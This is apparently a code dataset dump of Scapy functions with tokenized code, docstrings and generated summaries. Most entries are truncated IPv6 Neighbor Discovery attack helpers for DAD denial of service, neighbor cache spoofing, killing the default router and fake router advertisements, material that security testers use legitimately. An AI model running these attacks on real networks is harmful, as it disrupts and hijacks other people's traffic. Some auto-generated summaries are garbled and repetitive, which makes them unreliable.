... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L2268-L2293 | train | Takes as input a DNS encoded string possibly compressed and returns a list of DNS names contained in it. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | _NDP_Attack_DAD_DoS | def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None,
tgt_filter=None, reply_mac=None):
"""
Internal generic helper accepting a specific callback as first argument,
for NS or NA reply. See the two specific functions below.
"""
def is_request(req, mac_src_f... | python | def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None,
tgt_filter=None, reply_mac=None):
"""
Internal generic helper accepting a specific callback as first argument,
for NS or NA reply. See the two specific functions below.
"""
def is_request(req, mac_src_f... | [
"def",
"_NDP_Attack_DAD_DoS",
"(",
"reply_callback",
",",
"iface",
"=",
"None",
",",
"mac_src_filter",
"=",
"None",
",",
"tgt_filter",
"=",
"None",
",",
"reply_mac",
"=",
"None",
")",
":",
"def",
"is_request",
"(",
"req",
",",
"mac_src_filter",
",",
"tgt_fil... | Internal generic helper accepting a specific callback as first argument,
for NS or NA reply. See the two specific functions below. | [
"Internal",
"generic",
"helper",
"accepting",
"a",
"specific",
"callback",
"as",
"first",
"argument",
"for",
"NS",
"or",
"NA",
"reply",
".",
"See",
"the",
"two",
"specific",
"functions",
"below",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3380-L3429 | train | Internal function for DAD attack DAD doS. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | NDP_Attack_DAD_DoS_via_NS | def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None,
reply_mac=None):
"""
Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3756. This is done by listening incoming NS messages sent from the
unspecified address and sending a NS... | python | def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None,
reply_mac=None):
"""
Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3756. This is done by listening incoming NS messages sent from the
unspecified address and sending a NS... | [
"def",
"NDP_Attack_DAD_DoS_via_NS",
"(",
"iface",
"=",
"None",
",",
"mac_src_filter",
"=",
"None",
",",
"tgt_filter",
"=",
"None",
",",
"reply_mac",
"=",
"None",
")",
":",
"def",
"ns_reply_callback",
"(",
"req",
",",
"reply_mac",
",",
"iface",
")",
":",
"\... | Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3756. This is done by listening incoming NS messages sent from the
unspecified address and sending a NS reply for the target address,
leading the peer to believe that another node is also performing DAD
for that address.
By defau... | [
"Perform",
"the",
"DAD",
"DoS",
"attack",
"using",
"NS",
"described",
"in",
"section",
"4",
".",
"1",
".",
"3",
"of",
"RFC",
"3756",
".",
"This",
"is",
"done",
"by",
"listening",
"incoming",
"NS",
"messages",
"sent",
"from",
"the",
"unspecified",
"addres... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3432-L3485 | train | This function performs the DAD DoS attack using NS. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | NDP_Attack_DAD_DoS_via_NA | def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None,
reply_mac=None):
"""
Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3756. This is done by listening incoming NS messages *sent from the
unspecified address* and sending a ... | python | def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None,
reply_mac=None):
"""
Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3756. This is done by listening incoming NS messages *sent from the
unspecified address* and sending a ... | [
"def",
"NDP_Attack_DAD_DoS_via_NA",
"(",
"iface",
"=",
"None",
",",
"mac_src_filter",
"=",
"None",
",",
"tgt_filter",
"=",
"None",
",",
"reply_mac",
"=",
"None",
")",
":",
"def",
"na_reply_callback",
"(",
"req",
",",
"reply_mac",
",",
"iface",
")",
":",
"\... | Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3756. This is done by listening incoming NS messages *sent from the
unspecified address* and sending a NA reply for the target address,
leading the peer to believe that another node is also performing DAD
for that address.
By def... | [
"Perform",
"the",
"DAD",
"DoS",
"attack",
"using",
"NS",
"described",
"in",
"section",
"4",
".",
"1",
".",
"3",
"of",
"RFC",
"3756",
".",
"This",
"is",
"done",
"by",
"listening",
"incoming",
"NS",
"messages",
"*",
"sent",
"from",
"the",
"unspecified",
... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3488-L3546 | train | This function performs the DAD DoS attack using the NA reply. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | NDP_Attack_NA_Spoofing | def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None,
reply_mac=None, router=False):
"""
The main purpose of this function is to send fake Neighbor Advertisement
messages to a victim. As the emission of unsolicited Neighbor Advertisement
is pretty pointl... | python | def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None,
reply_mac=None, router=False):
"""
The main purpose of this function is to send fake Neighbor Advertisement
messages to a victim. As the emission of unsolicited Neighbor Advertisement
is pretty pointl... | [
"def",
"NDP_Attack_NA_Spoofing",
"(",
"iface",
"=",
"None",
",",
"mac_src_filter",
"=",
"None",
",",
"tgt_filter",
"=",
"None",
",",
"reply_mac",
"=",
"None",
",",
"router",
"=",
"False",
")",
":",
"def",
"is_request",
"(",
"req",
",",
"mac_src_filter",
",... | The main purpose of this function is to send fake Neighbor Advertisement
messages to a victim. As the emission of unsolicited Neighbor Advertisement
is pretty pointless (from an attacker standpoint) because it will not
lead to a modification of a victim's neighbor cache, the function send
advertisements... | [
"The",
"main",
"purpose",
"of",
"this",
"function",
"is",
"to",
"send",
"fake",
"Neighbor",
"Advertisement",
"messages",
"to",
"a",
"victim",
".",
"As",
"the",
"emission",
"of",
"unsolicited",
"Neighbor",
"Advertisement",
"is",
"pretty",
"pointless",
"(",
"fro... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3549-L3684 | train | This function is used to send fake NDP NAs to a victim. It is used to send fake NAs to a victim. It is used to send fake NAs to a victim. It is used to send fake NAs to a victim. It is used to send fake NAs to a victim. It is used to send fake NAs to a victim. It is used to send fake NAs to a victim. It is used to send... | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | NDP_Attack_NS_Spoofing | def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1",
dst=None, src_mac=None, dst_mac=None, loop=True,
inter=1, iface=None):
"""
The main purpose of this function is to send fake Neighbor Solicitations
messages to a victim, in order... | python | def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1",
dst=None, src_mac=None, dst_mac=None, loop=True,
inter=1, iface=None):
"""
The main purpose of this function is to send fake Neighbor Solicitations
messages to a victim, in order... | [
"def",
"NDP_Attack_NS_Spoofing",
"(",
"src_lladdr",
"=",
"None",
",",
"src",
"=",
"None",
",",
"target",
"=",
"\"2001:db8::1\"",
",",
"dst",
"=",
"None",
",",
"src_mac",
"=",
"None",
",",
"dst_mac",
"=",
"None",
",",
"loop",
"=",
"True",
",",
"inter",
... | The main purpose of this function is to send fake Neighbor Solicitations
messages to a victim, in order to either create a new entry in its neighbor
cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated
that a node SHOULD create the entry or update an existing one (if it is not
cur... | [
"The",
"main",
"purpose",
"of",
"this",
"function",
"is",
"to",
"send",
"fake",
"Neighbor",
"Solicitations",
"messages",
"to",
"a",
"victim",
"in",
"order",
"to",
"either",
"create",
"a",
"new",
"entry",
"in",
"its",
"neighbor",
"cache",
"or",
"update",
"a... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3687-L3791 | train | This function is used to send a fake Neighbor Solicitations
message to a victim. It is used to send a fake Neighbor Solicitations
message to a victim. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | NDP_Attack_Kill_Default_Router | def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,
ip_src_filter=None, reply_mac=None,
tgt_mac=None):
"""
The purpose of the function is to monitor incoming RA messages
sent by default routers (RA with a non-zero Router L... | python | def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,
ip_src_filter=None, reply_mac=None,
tgt_mac=None):
"""
The purpose of the function is to monitor incoming RA messages
sent by default routers (RA with a non-zero Router L... | [
"def",
"NDP_Attack_Kill_Default_Router",
"(",
"iface",
"=",
"None",
",",
"mac_src_filter",
"=",
"None",
",",
"ip_src_filter",
"=",
"None",
",",
"reply_mac",
"=",
"None",
",",
"tgt_mac",
"=",
"None",
")",
":",
"def",
"is_request",
"(",
"req",
",",
"mac_src_fi... | The purpose of the function is to monitor incoming RA messages
sent by default routers (RA with a non-zero Router Lifetime values)
and invalidate them by immediately replying with fake RA messages
advertising a zero Router Lifetime value.
The result on receivers is that the router is immediately invali... | [
"The",
"purpose",
"of",
"the",
"function",
"is",
"to",
"monitor",
"incoming",
"RA",
"messages",
"sent",
"by",
"default",
"routers",
"(",
"RA",
"with",
"a",
"non",
"-",
"zero",
"Router",
"Lifetime",
"values",
")",
"and",
"invalidate",
"them",
"by",
"immedia... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3794-L3913 | train | Kill default router. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | NDP_Attack_Fake_Router | def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None,
ip_src_filter=None):
"""
The purpose of this function is to send provided RA message at layer 2
(i.e. providing a packet starting with IPv6 will not work) in response
to received RS messages. In the end, the funct... | python | def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None,
ip_src_filter=None):
"""
The purpose of this function is to send provided RA message at layer 2
(i.e. providing a packet starting with IPv6 will not work) in response
to received RS messages. In the end, the funct... | [
"def",
"NDP_Attack_Fake_Router",
"(",
"ra",
",",
"iface",
"=",
"None",
",",
"mac_src_filter",
"=",
"None",
",",
"ip_src_filter",
"=",
"None",
")",
":",
"def",
"is_request",
"(",
"req",
",",
"mac_src_filter",
",",
"ip_src_filter",
")",
":",
"\"\"\"\n Che... | The purpose of this function is to send provided RA message at layer 2
(i.e. providing a packet starting with IPv6 will not work) in response
to received RS messages. In the end, the function is a simple wrapper
around sendp() that monitor the link for RS messages.
It is probably better explained with ... | [
"The",
"purpose",
"of",
"this",
"function",
"is",
"to",
"send",
"provided",
"RA",
"message",
"at",
"layer",
"2",
"(",
"i",
".",
"e",
".",
"providing",
"a",
"packet",
"starting",
"with",
"IPv6",
"will",
"not",
"work",
")",
"in",
"response",
"to",
"recei... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3916-L3994 | train | This function is used to send a fake router to the network. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | IPv6.route | def route(self):
"""Used to select the L2 address"""
dst = self.dst
if isinstance(dst, Gen):
dst = next(iter(dst))
return conf.route6.route(dst) | python | def route(self):
"""Used to select the L2 address"""
dst = self.dst
if isinstance(dst, Gen):
dst = next(iter(dst))
return conf.route6.route(dst) | [
"def",
"route",
"(",
"self",
")",
":",
"dst",
"=",
"self",
".",
"dst",
"if",
"isinstance",
"(",
"dst",
",",
"Gen",
")",
":",
"dst",
"=",
"next",
"(",
"iter",
"(",
"dst",
")",
")",
"return",
"conf",
".",
"route6",
".",
"route",
"(",
"dst",
")"
] | Used to select the L2 address | [
"Used",
"to",
"select",
"the",
"L2",
"address"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L282-L287 | train | Used to select the L2 address | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | IPv6.extract_padding | def extract_padding(self, data):
"""Extract the IPv6 payload"""
if self.plen == 0 and self.nh == 0 and len(data) >= 8:
# Extract Hop-by-Hop extension length
hbh_len = orb(data[1])
hbh_len = 8 + hbh_len * 8
# Extract length from the Jumbogram option
... | python | def extract_padding(self, data):
"""Extract the IPv6 payload"""
if self.plen == 0 and self.nh == 0 and len(data) >= 8:
# Extract Hop-by-Hop extension length
hbh_len = orb(data[1])
hbh_len = 8 + hbh_len * 8
# Extract length from the Jumbogram option
... | [
"def",
"extract_padding",
"(",
"self",
",",
"data",
")",
":",
"if",
"self",
".",
"plen",
"==",
"0",
"and",
"self",
".",
"nh",
"==",
"0",
"and",
"len",
"(",
"data",
")",
">=",
"8",
":",
"# Extract Hop-by-Hop extension length",
"hbh_len",
"=",
"orb",
"("... | Extract the IPv6 payload | [
"Extract",
"the",
"IPv6",
"payload"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L299-L329 | train | Extract the padding from the IPv6 payload. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | ICMPv6MLQuery2.post_build | def post_build(self, packet, payload):
"""Compute the 'sources_number' field when needed"""
if self.sources_number is None:
srcnum = struct.pack("!H", len(self.sources))
packet = packet[:26] + srcnum + packet[28:]
return _ICMPv6.post_build(self, packet, payload) | python | def post_build(self, packet, payload):
"""Compute the 'sources_number' field when needed"""
if self.sources_number is None:
srcnum = struct.pack("!H", len(self.sources))
packet = packet[:26] + srcnum + packet[28:]
return _ICMPv6.post_build(self, packet, payload) | [
"def",
"post_build",
"(",
"self",
",",
"packet",
",",
"payload",
")",
":",
"if",
"self",
".",
"sources_number",
"is",
"None",
":",
"srcnum",
"=",
"struct",
".",
"pack",
"(",
"\"!H\"",
",",
"len",
"(",
"self",
".",
"sources",
")",
")",
"packet",
"=",
... | Compute the 'sources_number' field when needed | [
"Compute",
"the",
"sources_number",
"field",
"when",
"needed"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L1508-L1513 | train | Compute the sources_number field when needed | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | ICMPv6MLReport2.post_build | def post_build(self, packet, payload):
"""Compute the 'records_number' field when needed"""
if self.records_number is None:
recnum = struct.pack("!H", len(self.records))
packet = packet[:6] + recnum + packet[8:]
return _ICMPv6.post_build(self, packet, payload) | python | def post_build(self, packet, payload):
"""Compute the 'records_number' field when needed"""
if self.records_number is None:
recnum = struct.pack("!H", len(self.records))
packet = packet[:6] + recnum + packet[8:]
return _ICMPv6.post_build(self, packet, payload) | [
"def",
"post_build",
"(",
"self",
",",
"packet",
",",
"payload",
")",
":",
"if",
"self",
".",
"records_number",
"is",
"None",
":",
"recnum",
"=",
"struct",
".",
"pack",
"(",
"\"!H\"",
",",
"len",
"(",
"self",
".",
"records",
")",
")",
"packet",
"=",
... | Compute the 'records_number' field when needed | [
"Compute",
"the",
"records_number",
"field",
"when",
"needed"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L1550-L1555 | train | Compute the records_number field when needed | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/tools/UTscapy.py | parse_config_file | def parse_config_file(config_path, verb=3):
"""Parse provided json to get configuration
Empty default json:
{
"testfiles": [],
"breakfailed": true,
"onlyfailed": false,
"verb": 3,
"dump": 0,
"crc": true,
"scapy": "scapy",
"preexec": {},
"global_preexec":... | python | def parse_config_file(config_path, verb=3):
"""Parse provided json to get configuration
Empty default json:
{
"testfiles": [],
"breakfailed": true,
"onlyfailed": false,
"verb": 3,
"dump": 0,
"crc": true,
"scapy": "scapy",
"preexec": {},
"global_preexec":... | [
"def",
"parse_config_file",
"(",
"config_path",
",",
"verb",
"=",
"3",
")",
":",
"import",
"json",
"import",
"unicodedata",
"with",
"open",
"(",
"config_path",
")",
"as",
"config_file",
":",
"data",
"=",
"json",
".",
"load",
"(",
"config_file",
",",
"encod... | Parse provided json to get configuration
Empty default json:
{
"testfiles": [],
"breakfailed": true,
"onlyfailed": false,
"verb": 3,
"dump": 0,
"crc": true,
"scapy": "scapy",
"preexec": {},
"global_preexec": "",
"outputfile": null,
"local": true,... | [
"Parse",
"provided",
"json",
"to",
"get",
"configuration",
"Empty",
"default",
"json",
":",
"{",
"testfiles",
":",
"[]",
"breakfailed",
":",
"true",
"onlyfailed",
":",
"false",
"verb",
":",
"3",
"dump",
":",
"0",
"crc",
":",
"true",
"scapy",
":",
"scapy"... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/tools/UTscapy.py#L255-L302 | train | Parse a json file to get a configuration | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/dce_rpc.py | EndiannessField.set_endianess | def set_endianess(self, pkt):
"""Add the endianness to the format"""
end = self.endianess_from(pkt)
if isinstance(end, str) and end:
if isinstance(self.fld, UUIDField):
self.fld.uuid_fmt = (UUIDField.FORMAT_LE if end == '<'
else UU... | python | def set_endianess(self, pkt):
"""Add the endianness to the format"""
end = self.endianess_from(pkt)
if isinstance(end, str) and end:
if isinstance(self.fld, UUIDField):
self.fld.uuid_fmt = (UUIDField.FORMAT_LE if end == '<'
else UU... | [
"def",
"set_endianess",
"(",
"self",
",",
"pkt",
")",
":",
"end",
"=",
"self",
".",
"endianess_from",
"(",
"pkt",
")",
"if",
"isinstance",
"(",
"end",
",",
"str",
")",
"and",
"end",
":",
"if",
"isinstance",
"(",
"self",
".",
"fld",
",",
"UUIDField",
... | Add the endianness to the format | [
"Add",
"the",
"endianness",
"to",
"the",
"format"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/dce_rpc.py#L41-L51 | train | Add the endianness to the format | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/dce_rpc.py | EndiannessField.getfield | def getfield(self, pkt, buf):
"""retrieve the field with endianness"""
self.set_endianess(pkt)
return self.fld.getfield(pkt, buf) | python | def getfield(self, pkt, buf):
"""retrieve the field with endianness"""
self.set_endianess(pkt)
return self.fld.getfield(pkt, buf) | [
"def",
"getfield",
"(",
"self",
",",
"pkt",
",",
"buf",
")",
":",
"self",
".",
"set_endianess",
"(",
"pkt",
")",
"return",
"self",
".",
"fld",
".",
"getfield",
"(",
"pkt",
",",
"buf",
")"
] | retrieve the field with endianness | [
"retrieve",
"the",
"field",
"with",
"endianness"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/dce_rpc.py#L53-L56 | train | retrieve the field with endianness | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/dce_rpc.py | EndiannessField.addfield | def addfield(self, pkt, buf, val):
"""add the field with endianness to the buffer"""
self.set_endianess(pkt)
return self.fld.addfield(pkt, buf, val) | python | def addfield(self, pkt, buf, val):
"""add the field with endianness to the buffer"""
self.set_endianess(pkt)
return self.fld.addfield(pkt, buf, val) | [
"def",
"addfield",
"(",
"self",
",",
"pkt",
",",
"buf",
",",
"val",
")",
":",
"self",
".",
"set_endianess",
"(",
"pkt",
")",
"return",
"self",
".",
"fld",
".",
"addfield",
"(",
"pkt",
",",
"buf",
",",
"val",
")"
] | add the field with endianness to the buffer | [
"add",
"the",
"field",
"with",
"endianness",
"to",
"the",
"buffer"
